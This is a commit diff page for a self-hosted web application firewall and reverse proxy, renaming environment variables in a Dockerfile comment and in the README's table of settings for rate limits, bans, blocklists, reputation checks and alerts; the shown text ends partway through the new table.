Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8e85d12e04 |
No files matched your search
+1
-1
@@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
|
||||
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
|
||||
RUN mkdir /var/lib/sww
|
||||
|
||||
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
|
||||
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
||||
# built FROM this image can copy rule files of its own beside it.
|
||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||
|
||||
|
||||
@@ -212,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
setting takes it.
|
||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||
app's response bodies, the visitors' request bodies, or both, as
|
||||
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
|
||||
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
||||
over a WebSocket counts as request bytes, and what the app sent as response
|
||||
bytes.
|
||||
- An invalid setting stops the process at start with one log line naming the
|
||||
@@ -221,125 +221,125 @@ account, a key, a token or an alert destination stays off until you give one.
|
||||
|
||||
Every setting the code reads, with its default:
|
||||
|
||||
| Variable | Default | What it does |
|
||||
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
|
||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
|
||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
| Variable | Default | What it does |
|
||||
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
|
||||
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
|
||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
|
||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
|
||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
